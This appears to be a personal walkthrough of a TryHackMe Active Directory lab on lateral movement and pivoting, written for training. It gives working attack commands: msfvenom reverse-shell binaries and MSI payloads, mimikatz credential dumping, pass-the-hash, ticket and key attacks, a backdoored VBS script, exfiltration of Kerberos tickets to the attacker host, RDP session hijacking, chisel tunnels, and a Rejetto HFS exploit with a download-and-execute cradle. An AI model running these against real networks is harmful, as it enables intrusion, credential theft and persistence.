TryHackMe | Lateral Movement & Pivoting

In this walkthrough, I demonstrate the steps I took to complete the "Lateral Movement and Pivoting" network on TryHackMe.
In: TryHackMe, Active Directory, Attack, OSCP Prep, THM: Compromising AD

Task 1: Introduction

Connecting to the Network

I am using my own Kali VM to complete this room, not the AttackBox provided by TryHackMe.

Download the VPN connection pack and connect to the VPN as a background service.

# Run the VPN connection as a daemon in the background
sudo openvpn --config ./lateralmovementandpivoting.ovpn --daemon

When finished with the room, you can terminate the VPN connection with this command:

# Find the PID of the OpenVPN process
pid=$(sudo ps aux | grep -v grep | grep -i lateralmovementandpivoting | awk -v FS=' ' '{print $2}')

# Send SIGTERM to the PID
sudo kill -9 $pid

Edit DNS Configuration

I didn't follow the guidance in the room and took a much more simplistic approach. Please note that the /etc/resolv.conf configurations in the before and after shown below are specific to my environment.


# Generated by NetworkManager
search cyber.range

/etc/resolv.conf (before)

After is the IP address of the thmdc (domain controller) in the network diagram. The domain controller is acting as the DNS resolver in the network environment.

# Generated by NetworkManager
search cyber.range
# Shorten name resolution timeouts to 1 second
options timeout:1
# Only attempt to resolve a hostname 2 times
options attempts:2

/etc/resolv.conf (after)

Run sudo systemctl restart networking.service after the changes to apply the changes.

Test Hostname Lookups


Why does this work?

You're instructing the DNS resolution service to search between and . So, let's say you say something like this:


What's happening is this:

  1. First ask – "Do you know the IP address of ?"
  2. If the domain controller answers, then stop the lookup process.
  3. If the domain controller doesn't have the answer, move on.
  4. Then, ask – "Do you know the IP address of ?"

Requesting Credentials

Be sure to navigate to and request your credentials for SSH access to thmjmp2 .


Task 2: Moving through the Network

Administrators and UAC

  • Local login administrator accounts
  • Domain accounts as local administrators

Local administrator accounts may be repeated across multiple hosts on the network. Even if that's the case a local administrator cannot access a computer remotely with admin privileges using WinRM, SMB, or RPC. The local administrator must use RDP to open an administrative session on a host. This setting can be changed, however.

The built-in default administrator account is not subject to UAC, while other local administrator accounts are.

Domain accounts with local admin can open an administrative login using RDP, WinRM, SMB, or RPC. However, this behavior can be disabled.

Task 3: Remote Sessions


  • TCP/445
  • Requires the account to be an administrator

Authentication Workflow

            |                                                |
            | 1. Upload psexecsvc.exe via ADMIN$ share ====> |
            |                                                |
[attacker]  | 2. Create and execute psexec service ========> | [target]
            |                                                |
            | 3. <======== Communicate via \.\pipe\psexecsvc |
            |                                                |
  1. Connect to Admin$ share and upload a service binary – psexesvc.exe .
  2. Connect to the service control manager to create and run a service named PSEXESVC and associate the service binary with C:\Windows\psexesvc.exe .
  3. Create some named pipes to handle stdin/stdout/stderr.

Example Command

# Start a remote command prompt
.\psexec.exe \\target-ip -u username -p password -i cmd.exe


  • WinRM over HTTP – TCP/5985
  • WinRM over HTTPS – TCP/5986

PowerShell Example

PowerShell Session

$username = ''
$password = 'mypass' | ConvertTo-SecureString -AsPlainText -Force
$credential = [pscredential]::new($username, $password)
$session = New-PSSession -ComputerName target-ip -Credential $credential
$session | Enter-PSSession

# When finished
$session | Remove-PSSession

Ad-Hoc Commands

$username = ''
$password = 'mypass' | ConvertTo-SecureString -AsPlainText -Force
$credential = [pscredential]::new($username, $password)
Invoke-Command -ComputerName target-ip -Credential $credential -ScriptBlock {Get-ComputerInfo}


Remote command execution by registering and running services on a host. The service is configured to run a command at start up.

How Does it Work?


Try to authenticate to the Service Control Manager via RPC first.

 Talk with    |                                        |
 Endpoint     | 1. RPC request for SVCCTL ===========> |
 Mapper (EPM) |                                        |
              | <==== 2. RPC response with SVCCTL port |
 [attacker]   |          (usually a high number port)  | [target]
_____________ | ______________________________________ | ________
              |                                        |
 Talk with    | 3. RPC bind to SVCCTL port ==========> |
 SVCCTL       |                                        |


If RPC fails, attempt to communicate via a SMB named pipe.

            |                                       |
            |                                       |
 [Attacker] | 1. Attempt bind to \pipe\svcctl ====> | [target]
            |                                       |
            |                                       |

Example Command

# Register the dummy service 
# binpath is the command to run on the host
sc.exe \\target-ip create FakeService binpath= "net user adm1n p@ssword123! /add" start= auto

# Start the remote service to run the command
sc.exe \\target-ip start FakeService

# Stop and delete the service
sc.exe \\target-ip stop FakeService
sc.exe \\target-ip delete FakeService


Remote command/payload execution by registering a scheduled task on a host.

schtasks /s target-ip /RU "SYSTEM" /create /tn "MyTask" /tr "powershell -command 'Get-ComputerInfo'" /sc ONCE /sd 01/01/1970 /st 00:00
schtasks /s target-ip /run /tn "MyTask"

# Delete the task
schtasks /s target-ip /tn "MyTask" /DELETE /F


SSH to Jump Host 2


Create a Malicious Service Binary

In this exercise, we're leveraging our session on the jump host to deliver a payload to an IIS web server. The payload will connect back to our Kali VM (I am not using the AttackBox provided by THM).

On Kali

# Run this command on Kali and upload to the Jump Host session
msfvenom -p windows/shell_reverse_tcp LHOST=VPN-IP-ADDRESS LPORT=443 -f exe-service -o l337pwn.exe

# Use t1_leonard.summers credentials to transfer the file to the IIS server
smbclient //$ -U '' -c 'put l337pwn.exe' --option="client min protocol=core"

# Start a listener to catch the reverse shell from the IIS server
sudo nc -lnvp 443

On Jump Host 2

The lesson advises you to do the following:

  • Start a listener on Kali to catch a reverse shell from thmjmp2
  • Run runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe kali-vpn-ip kali-tcp-port"
  • Now, you have a shell running as t1_leonard.summers with the user's token
  • This allows you to run commands from Kali as the t1_leonard.summers user.

I did not follow this instruction, as I feel like it's an unnecessary step. I am just going to treat my SSH session as if it were already a reverse shell and run the commands from this existing session.

sc.exe \\ create superpwnzl337 binpath= "%windir%\l337pwn.exe" start= auto
sc.exe \\ start superpwnzl337


After running the "flag.exe" file on t1_leonard.summers desktop on THMIIS, what is the flag?

Show Answer


Task 4: Moving Laterally Using WMI

Connecting to WMI from PowerShell


  • Target Ports
    • RPC - TCP/135 + TCP/49152-65535
    • Or
      • WinRM over HTTP - TCP/5985 or...
      • WinRM over HTTPS - TCP/5986
  • Required Group Memberships on Target
    • Administrators

Create a Credential Object for Authentication

$username = ''
$password = 'password' | ConvertTo-SecureString -AsPlainText -Force
$credential = [pscredential]::new($username, $password)

Create a CIM Session for Repeated Use

  • DCOM: Connect to the target via RPC on TCP/135 , RPC will direct the client to high numbered port TCP/49152-65535
  • WSman: WinRM – connect via HTTP (TCP/5985) or HTTPS (TCP/5986)
$server = 'target-ip / fqdn'
$sessionopt = New-CimSessionOption -Protocol DCOM
$session = New-CimSession -ComputerName $server -Credential $credential -SessionOption $sessionopt -ErrorAction Stop

Run a Command Remotely

I am running a different command than shown in the example. I am running a command in the CIM session to test if the target can connect back to Kali as a pre-check to a reverse shell.

The `" in PowerShell is a character escape. The same concept as escaping in Linux with a backslash, \" . Since we have double-quotes inside double-quotes, we need to escape them.

$kaliVpnIP = 'kali-vpn-ip'
$kaliPort = 443

# Try to connect back to Kali on a TCP port of choice
$command = "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command `"[Net.Sockets.TcpClient]::new().ConnectAsync('$kaliVpnIP', $kaliPort)`""

# Parameter splatting
$parameters = @{
    CimSession = $session
    ClassName = 'Win32_Process'
    MethodName = 'Create'
    Arguments = @{
    	CommandLine = $command
Invoke-CimSession @parameters

Creating Services Remotely

Create the Service

This will register a service called l337service on the target. This only creates the service and does not execute the command specified in PathName .

$parameters = @{
    CimSession = $session
    ClassName = 'Win32_Service'
    MethodName = 'Create'
    Arguments = @{
        Name = 'l337service'
        DisplayName = 'l337service'
        PathName = 'net user adm1n password123 /ADD'
        ServiceType = [byte]16
        StartMode = 'Manual'
Invoke-CimMethod @parameters

Discover the Service and Start it

Now, we must get the service and run it on the target. This will cause the service to run and create the local user adm1n with a password of password123 .

$svc = Get-CimInstance -CimSession $session -ClassName Win32_Service -Filter "Name LIKE 'l337service'"
$svc | Invoke-CimMethod -MethodName StartService

Modify the Service and Re-Run It

This is not covered in the lesson, just an added bonus by me. Update the service PathName to change the command and add the adm1n user to the local Administrators group.

$svc | Invoke-CimMethod -MethodName Change -Arguments @{PathName = 'net localgroup Administrators adm1n /ADD'}
$svc | Invoke-CimMethod -MethodName StartService

Clean up the Service

$svc | Invoke-Cimmethod -MethodName StopService
$svc | Invoke-CimMethod -MethodName Delete

Create Scheduled Tasks Remotely

Define a Task Action

We are creating an action first, which will be assigned to the task in the next step. The action here is to run cmd.exe /c net user add adm1n password123 /ADD . So, we will create the local user adm1n with a password of password123 .

# Same as running cmd.exe /c net user adm1n password123 /ADD
# Add a local user adm1n with password 123
$command = 'cmd.exe'
$arguments = '/c net user adm1n password123 /ADD'
$parameters = @{
    CimSession = $session
    Execute = $command
    Argument = $arguments
$action = New-ScheduledTaskAction @parameters

Create and Start the Task

Now, we will create the task on the remote host and assign it the action stored in the $action variable. It will be run as the NT AUTHORITY\SYSTEM user.

$parameters = @{
    CimSession = $session
    Action = $action
    TaskName = 'l337task'
$task = Register-ScheduledTask @parameters
$task | Start-ScheduledTask

Update and Delete the Task

We created the adm1n user, but let's upgrade this attack by adding the user to the local administrators group.

$arguments = '/c net user adm1n password123 /ADD'
$parameters = @{
    CimSession = $session
    Execute = $command
    Argument = $arguments
$action = New-ScheduledTaskAction @parameters
$task = Set-ScheduledTask -CimSession $session -TaskName l337task -Action $action
$task | Start-ScheduledTask
$task | Unregister-ScheduledTask

Install MSI Packages

Create a MSI Payload

On Kali, we're going to use msfvenom to create a malicious MSI payload and transfer it to the target via SMB using the t1_corine.waters credential.

# Generate the .msi payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=kali-vpn-ip LPORT=443 -f msi -o l337pkg.msi

# Transfer it to the target via SMB
smbclient //$ -U '' -c 'put l337pkg.msi' --option="client min protocol=core"

# Start a listener to catch the reverse shell
sudo nc -lnvp 443

Install the MSI Payload

In this case, we'll just be using an SSH session on thmjmp2 to simulate a reverse shell on a domain-joined host.


Open a PowerShell terminal and install the MSI package on the IIS server and you should get a reverse shell back to Kali.

$username = 't1_corine.waters'
$pw = 'Korine.1994' | ConvertTo-SecureString -AsPlainText -Force
$credential = [pscredential]::new($username, $pw) 
$sessionopt = New-CimSessionOption -Protocol DCOM

# Open a CIM session on thmiis
$parameters = @{
    ComputerName = '';
    Credential = $credential;
    SessionOption = $sessionopt;
    ErrorAction = 'Stop';
$session = New-CimSession @parameters

# Install the .MSI package
$parameters = @{
    CimSession = $session
    ClassName = 'Win32_Product'
    MethodName = 'Install'
    Arguments = @{
    	PacakgeLocation = 'C:\Windows\l337pkg.msi'
        Options = $null
        AllUsers = $false
Invoke-CimMethod @parameters


After running the "flag.exe" file on t1_corine.waters desktop on THMIIS, what is the flag?

Show Answer


Task 5: Use of Alternate Authentication Material

In other words, you've managed to harvest a user NTLM hash or a Kerberos ticket. Rather than knowing the password, you may be able to leverage this item as a means to authenticate as the user.

NTLM Authentication

 CLIENT                        SERVER               DOMAIN CONTROLLER   
    |                             |                        |
    | 1. ----[auth request]---->  |                        |
    |                             |                        |
    | 2. <---[NTLM challenge]---  |                        |
    |                             |                        |
    |            Response         |                        |
    |        ________________     |                        |
    |       |    NTLM Hash   |    |                        |
    | 3.  --|        +       |--> |        ___________     |
    |       | NTLM Challenge |    |       | Challenge |    |
    |        ----------------     | 4.  --|     +     |--> |
    |                             |       | Response  |    |
    |                             |        -----------     |
    |                             |                        |
    |                             | DC checks its own copy |
    |                             | of user NTLM hash and  |
    |                             | compares the vaule of  |
    |                             | hash + challenge to    |
    |                             | see if they match and  |
    |                             | approve or deny.       |
    |                             |                        |
    | 6. <----[Allow/Deny]----    | 5. <---[Allow/Deny]--- |

As noted in the lesson, this is for domain authentication. In local authentication, this process only occurs between the client and server, as the server keeps the user's NTLM hash in the SAM.


If an attacker manages to compromise a machine where domain user is logged in, the attacker may be able to dump the domain user's NTLM hash from memory by using a tool like mimikatz or other methods.

The attacker could then try to crack the hash(es) and reveal user passwords. But, if you notice in the diagram above:

  1. User asks to authenticate
  2. Server sends challenge
  3. User sends hash (not password)

This would allow an attacker to authenticate as a user in certain situations without ever needing to know the user's password. I wrote some notes here and here on dumping hashes locally and remotely.

Kerberos Authentication

Ticket Granting Ticket

 CLIENT                                         KDC on DOMAIN CONTROLER
    |                                                        |
    | Client sends a timestamp                               |
    | encrypted with a key                                   |
    | derived from the user hash                             |
    |             __________                                 |
    |            | Username |                                |
    | 1. --------|     +    |-------->                       |
    |            | Crypt TS |                                |
    |             ----------                                 |
    |                                                        |
    |                             KDC sends back an          |
    |                             encrypted TGT and a        |
    |                             session key. The TGT       |
    |                             is signed with the krbtgt  |
    |                             key to prevent tampering.  |
    |                             As long as the session has |
    |                             not lapsed, the user can   |
    |                             reuse the TGT as often as  |
    |                             needed to request a TGS.   |
    |                                 _____________          |
    |                                |     TGT     |         |
    |                     2. <-------|      +      |-------- |
    |                                | SESSION KEY |         |
    |                                 -------------          |

Ticket Granting Service

 CLIENT                                         KDC on DOMAIN CONTROLER
    |                                                        |
    | When the client wants to connect to                    |
    | a service, the client willl encrypt                    |
    | a timestamp using the session key                      |
    | and send its TGT and the Service                       |
    | Principal Name to be requested.                        |
    |             __________                                 |
    |            | Username |                                |
    |            |     +    |                                |
    |            | Crypt TS |                                |
    | 3. --------|     +    |--------->                      |
    |            |    TGT   |                                |
    |            |     +    |                                |
    |            |    SPN   |                                |
    |             ----------                                 |
    |                                                        |
    |                             The KDC will send a TGS    |
    |                             encrypted with the Service |
    |                             Principal's (SP)hash. The  |
    |                             SP is the user or machine  |
    |                             account under which the    |
    |                             service runs. The TGS also |
    |                             has a service session key, |
    |                             so when the SP decrypts    |
    |                             the ticket, the SP will    |
    |                             have a session key for the |
    |                             user.                      |
    |                                 _____________          |
    |                                |     TGS     |         |
    |                                |      +      |         |
    |                    4. <--------|   Service   |-------- |
    |                                |   Session   |         |
    |                                |     Key     |         |
    |                                 -------------          |

User Authentication

 CLIENT                                              SERVICE PRINCIPAL
    |                                                        |
    | The client then sends the TGS and                      |
    | service session key to the SP.                         |
    | Since the service seesion key is                       |
    | encrypted using the SPs hash, the                      |
    | SP can decrypt and inspect the ticket.                 |
    |             __________                                 |
    |            | Username |                                |
    |            |     +    |                                |
    | 3. --------| Crypt TS |--------->                      |
    |            |     +    |                                |
    |            |    TGS   |                                |
    |             ----------                                 |
    |                                                        |


Requires both the ticket and the service session key in order to pass a TGS to a service principal to authenticate as a user.

TGTs present more interesting opportunities, as they allow an attacker to request a TGS as the user.

Pass-the-Key / Overpass-the-Hash


When a user requests a TGS, they send an encrypted timestamp derived from their password. The algorithm used to create this key can be:

  • DES (disabled by default on newer Windows installations)
  • RC4
  • AES218
  • AES256

These keys can be extracted using a tool such as mimikatz. If any of these keys are available on the host, then we can request a TGT as the user.


If during your enumeration, you notice that RC4 is one of the enabled Kerberos encryption algorithms enabled on the network, this will will enable us to perform an overpass-the-hash attack.

This is because the RC4 hash is equal to the user's NTLM hash. Therefore, if you've managed to dump any users' NTLM hashes from LSASS on a domain-joined host, then you also have their RC4 hash, which could be used to request a TGT.

That's the convenience of the overpass-the-hash technique.

  • Did you dump NTLM hashses from LSASS?
  • Is RC4 a valid encryption algorithm?

Then, if you were lucky enough to find multiple domain user hashes in the LSASS memory, you can get TGTs as those users very easily.


SSH as t2_felicia.dean into thmjmp2 and practice the techniques covered before.


Now that we have a SSH session on the target, let's transfer Mimikatz to the target. First, download the latest .zip release of Mimikatz from here to your Kali VM.

# Download the Mimikatz zip file and save it as
wget -O ''

Start a Python 3 web server to transfer the file to the target.

sudo python3 -m http.server 80

Now, from the target start a PowerShell terminal, download the Mimikatz .zip file, and unzip the archive.

powershell.exe -ExecutionPolicy Bypass
Invoke-WebRequest 'http://kali-vpn-ip/' -OutFile .\
Expand-Archive .\

Now, we'll move into the x64 folder and run Mimikatz.

cd mimikatz\x64\

Elevate Privileges

The first thing we'll need to do is elevate our privileges.

mimikatz # privilege::debug
mimikatz # token::elevate

NTLM Hashes

Dump NTLM Hashes

This will allow us to dump any cached NTLM hashes in the LSASS process memory.

mimikatz # sekurlsa::msv
Pass-the-Hash with Mimikatz

We've been challenged to get the flag fo rthe t1_toby.beck user.

mimikatz # token::revert
sekurlsa::pth /user:t1_toby.beck / /ntlm:533f1bd576caa912bdb9da284bbc60fe /run:"C:\tools\nc64.exe -e cmd.exe kali-vpn-ip 443


The reason we are doing /run:"C:\tools\nc64.exe -e cmd.exe kali-vpn-ip 53 here is this:

  • In the lesson, we are using an SSH session, which is going to mimic a reverse shell
  • If the tried to do /run:"cmd.exe" this would not work, because we can not launch a sub-shell in our SSH/reverse shell environment
  • Instead, sekurlsa::pth is going to inject the t2_jack.osborne user's NTLM hash into our cmd.exe reverse shell back to Kali
  • Now, the reverse shell on Kali is running with this user's NTLM hash in memory, so any resource we try to access will be done as the user t2_jack.osborne
  • If we had an RDP login, we could easily spawn a sub-shell by running /run:"cmd.exe"

Start a listener on Kali

sudo nc -lnvp 443

Now, connect to the netcat listener, using mimikatz to inject the NTLM credential into the session.

I've got a WinRM session on THMIIS as t1_toby.beck

Pass-the-Hash from Kali
impacket-wmiexec -hashes ':533f1bd576caa912bdb9da284bbc60fe' ''

Kerberos Tickets

Dump Kerberos Tickets

mimikatz # sekurlsa::tickets /export

Now, if we open another SSH session on thmjmp2 , we can see all of the exported Kerberos tickets (.kirbi files).


The format of the file naming breaks down to this:

|_______| ^ |________| |_____________| |_____________________||_____|
    |     |     |              |                   |             |______file extension
    |     |     |              |                   |
    |     |     |              |                   |______resource
    |     |     |              |
    |     |     |              |______user/computer account (ticket owner)
    |     |     |
    |     |     |______0x40e10000 kerberos flag [1]
    |     |
    |     |______kerberos ticket type
    |            0 = TGS / 1 = Client ticket / 2 = TGT
    |__________0x97d82 user LUID [2]

[1] Example output from running "klist" on a Windows host
0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize

[2] Each logon session has a locally-unique identifier (LUID). A LUID is a system-generated 64-bit value guaranteed to be unique during a single boot session on the system on which it was generated. Some LUIDs are predefined. For example, the LUID for the System account’s logon session is always 0x3e7 (999 decimal), the LUID for Network Service’s session is 0x3e4 (996), and Local Service’s is 0x3e5 (997). Most other LUIDs are randomly generated.

Pass-the-Ticket with Mimikatz

We are going to use t1_toby.beck's TGT in this attack.


kerberos::ptt [0;ca99f8]-2-0-40e10000-t1_toby.beck@krbtgt-ZA.TRYHACKME.COM.kirbi

Now, we can exit out of the Mimikatz session and check if the ticket was injected into our SSH session.

Looks good. Now, we should be able to get a WinRM shell using this Kerberos ticket.


Pass-the-Ticket from Kali

I am going to use this method in my notes to transfer the .kirbi ticket to Kali.

# Add all the tickets a .zip archive
Compress-Archive -Path .\*.kirbi -DestinationPath

# Send the .zip archive to Kali
# UploadFile method reqires two arguments
	# URI
    # Absolute path to file
$webClient = New-Object System.Net.WebClient
$webClient.UploadFile('http://kali-vpn-ip/upload.php', "$PWD\")

# Convert the ticket to Linux format
impacket-ticketConverter \[0\;ca99f8\]-2-0-40e10000-t1_toby.beck@krbtgt-ZA.TRYHACKME.COM.kirbi t1_toby.beck.ccache

# Set an environment variable for Impacket
export KRB5CCNAME=t1_toby.beck.ccache

# Using wmiexec here as an example
impacket-wmiexec -k -no-pass

Kerberos Encryption Keys

Dump Kerberos Encryption Keys

The domain controller will regulate which encryption algorithms can be used.

mimikatz # sekurlsa::ekeys

As you can see here, rc4 is available, but I'm going to use the aes256 key as an example.

Pass-the-Key with Mimikatz

Start a listener on Kali. Similar to the Pass-the-Hash environment, we'll be relying on reverse shell with the encrypted key injected in to the session.

sudo nc -lnvp 443

In Mimikatz, revert to the user token inject the key.

mimikatz # token::revert
mimikatz # sekurlsa::pth /user:t1_toby.beck / /aes256:6a0d48f79acaec013d928d84a102b72028d574340b6139e876e179db48fbde4e /run:"C:\tools\nc64.exe -e cmd.exe kali-vpn-ip 443"

Pass-the-Key from Kali
# Request a TGT using the AES-256 hash
impacket-getTGT '' -aesKey 6a0d48f79acaec013d928d84a102b72028d574340b6139e876e179db48fbde4e

# Create an environment variable for Impacket
export KRB5CCNAME=t1_toby.beck.ccache

# Get a shell
impacket-wmiexec '' -k -no-pass


What is the flag obtained from executing "flag.exe" on t1_toby.beck's desktop on THMIIS?

Show Answer


Task 6: Abusing User Behavior

Writable Shares

In this scenario, the following could be assumed possibilities:

  • An attacker discovers a globally writable share
  • An attacker discovers credentials that allow access to a writable share

As the attacker enumerates the share, they could find script files or executable files stored on the server that may be run by several users. When a user runs the executable stored on the share, this results in:

  • A copy of the script/executable is copied to a temporary directory on the user's computer
  • The executable is run on the user's computer – not the server hosting the share

This would potentially broaden the attack surface to anyone who has access to the share and executable files.

Backdooring .vbs Scripts

In the lesson, we imagine a scenario where we plant the nc64.exe binary on the writable share.

CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\FILE-SERVER-IP\share_name\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe attacker-ip-address 80", 0, True

If a user runs this from the file share, the script will:

  • Copy nc64.exe from the file sever to the user's temporary directory
  • Execute nc64.exe and connect to the attacker's IP address on a specified port.

Backdooring .exe Files

  • Copy the binary from the file share to Kali
  • Use it as a template to create an imposter
  • Place the imposter on the file share
  • Start a listener and wait for a connection
# Create a malicious binary
# Probably going to get picked up by AV
msfvenom -a x64 --platform windows -x /tmp/filename.exe -k -p windows/x64/shell_reverse_tcp LHOST=kali-ip-address LPORT=80 -b '\x00' -f exe -o filename.exe

RDP Session Hijacking

  • On Windows Server 2016 and older, if a user opens a RDP session from Windows Server to another host, and the RDP session was closed (not logged out), the session remains logged in until the server is rebooted.
  • The attacker does not need to know the password used when the original RDP session was created.
  • On Windows Server 2019 and newer, the attacker must know the password used to create the RDP session.
query user

Administrator   rdp-tcp#5     2     Active           .  8/8/2022 3:00 PM
corpadmin                     3     Disc             .  8/8/2022 12:00 PM

We are logged in as the Administrator and running a shell as NT AUTHORITY\SYSTEM . corpadmin's RDP session was not cleanly logged off and is suspended. We an attach it to our existing session.

# Attach session ID 3 to our existing RDP session
tscon 3 /dest:rdp-tcp#5


Connect via RDP to THMJMP2

Get your RDP credentials at . Now, RDP to the jump host.

xfreerdp / /u:username /p:password

Enter Y to trust the connection.

Open a command prompt. Elevate to NT AUTHORITY\SYSTEM using psexec .

C:\tools\psexec64.exe -accepteula -s -i cmd.exe

Now, you should be running as the system account. Run query session . You should be able to identify your RDP session by looking for your username from the credentials you obtained before.

t2_abigail.cox        rdp-tcp#105         8  Active          .  8/8/2022 9:00 PM

My session for example

Let's steal one of the Disc sessions.

tscon 2 /dest:rdp-tcp#105



What flag did you get from hijacking t1_toby.beck's session on THMJMP2?

Show Answer


Task 7: Port Forwarding

Read about the multiple port forwarding scenarios and methods including:

  • Forward and reverse port forwarding
  • Dynamic port forwarding via SOCKS proxy
  • SSH port forwarding
  • Port forwarding with Socat

I have already written pretty extensive notes on port forwarding and proxying here, so I won't be doing much of a write-up.


In my write-up, I am going to be using the chisel application to set up the proxies. You can download the latest version of chisel here:

Releases · jpillora/chisel
A fast TCP/UDP tunnel over HTTP. Contribute to jpillora/chisel development by creating an account on GitHub.

You'll want to download theese versions:

  • ...linux_amd64.gz to run on Kali
  • ...windows_amd64.gz to run on thmjmp2

gunzip the files:

gunzip -c chisel_1.7.7_linux_amd64.gz > chisel
gunzip -c chisel_1.7.7_windows_amd64.gz > chisel.exe

End Goal

  • Use thmjmp2 as a proxy and establish a RDP session as t1_thomas.moore on thmiis .
  • Use thmjmp2 as a proxy to exploit the vulnerable Rejetto HFS server running on thmdc

Proxy to THMIIS


# Use the credentials obtained from the distributor

Transfer the chisel.exe file to your SSH session. Start a web server on Kali.

sudo python3 -m http.server 80

Download the file to thmjmp2 . Start a PowerShell terminal.

Invoke-WebRequest 'http://kali-vpn-ip/chisel.exe' -OutFile .\chisel.exe

Create the Chisel Proxy

# Script block
    # Start a chisel forward SOCKS5 proxy
    # Listen on TCP/50000
$scriptblock = { Start-Process "$args\chisel.exe" -ArgumentList @('server', '--port', 50000, '--socks5') }

# -ArgumentList $PWD.Path
    # This will substitute for $args in the script block
    # Will provide an absolute path to the chisel.exe binary
Start-Job -ScriptBlock $scriptblock -ArgumentList $PWD.Path

In $scriptblock , we're saying C:\Path\To\chisel.exe server --port 50000 --socks5 . We have to split each argument in a comma-separated list. And, we use Start-Job to run the process in the background, so it doesn't occupy our reverse shell (or SSH session).


Test if TCP/5000 is open and listening after starting the Chisel proxy.

sudo nmap -Pn -p50000 -T4

Open a proxy port on Kali to forward the traffic through.

# Open as a SOCKS proxy tunnel to THMJMP2
sudo ./chisel client 8443:socks &


xfreerdp / /u:t1_thomas.moore /p:MyPazzw3rd2020 /proxy:socks5://


Exploit Rejetto HFS on the Domain Controller

Edit Proxychains Configuration
sudo nano /etc/proxychains4.conf

Go down to the [ProxyList] section and add your proxy connection.

Port Scan the Domain Controller

According to the lesson, Rejetto HFS is running on TCP/80 . Also, since we are going through a SOCKS proxy to reach the server, you have to specify a full TCP SYN scan with -sT .

sudo proxychains -q nmap -Pn -sT -sV -p80 -T4

HttpFileServer httpd 2.3b

Set up the Port Forwarding

Back in our SSH session on thmjmp2 , we're going to start another chisel server, but this time in reverse. That way the following should happen:

  1. proxychains through our original SOCKS proxy on and run the RCE exploit against the Rejetto HFS server.
  2. In our exploit, we'll set the thmjmp2 as the target of the reverse shell
  3. This will cause the domain controller to:
    • Hit the specified ports on thmjmp2
    • thmjmp2 will then forward the TCP traffic to Kali
# Change --socks5 to --reverse
# Change 50000 to 51000 since our original server is still running
$scriptblock = { Start-Process "$args\chisel.exe" -ArgumentList @('server', '--port', 51000, '--reverse') }
Start-Job -ScriptBlock $scriptblock -ArgumentList $PWD.Path

Now on Kali, let's create those port forwards.

# Open 50080 on thmjmp2, forward to 80 on Kali to servee the .ps1 reverse shell
# Open 50081 on thmjmp2, forward to 81 on Kali for reverse shell
sudo ./chisel client R:50080: R:50081:81 &

Download the Reverse Shell Payload

I'll be using this PowerShell reverse shell payload here.


Modify the payload. We're telling the domain controller to connect to thmjmp2 on TCP/50081 , which fill forward in reverse to Kali on TCP/81 .

$socket = new-object System.Net.Sockets.TcpClient('', 50081);

Copy and Review the Python Payload
searchsploit Rejetto

Rejetto HttpFileServer 2.3.x - Remote Command Execution (3) | windows/webapps/

Copy the payload to your working directory.

searchsploit -m 49125

Review the exploit. With the way I've staged my environment, looks like I should be able to get a reverse shell with this command:

proxychains -q python3 80 "C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('')"

Now, let's do the following steps:

  • Start a Python web server to host the mini-reverse.ps1 payload
sudo python3 -m http.server 80
  • Start a netcat listener catch the shell
sudo rlwrap nc -lnvp 81

Perfectly executed!


What is the flag obtained from executing "flag.exe" on t1_thomas.moore's desktop on THMIIS?

Show Answer


What is the flag obtained using the Rejetto HFS exploit on THMDC?

Show Answer

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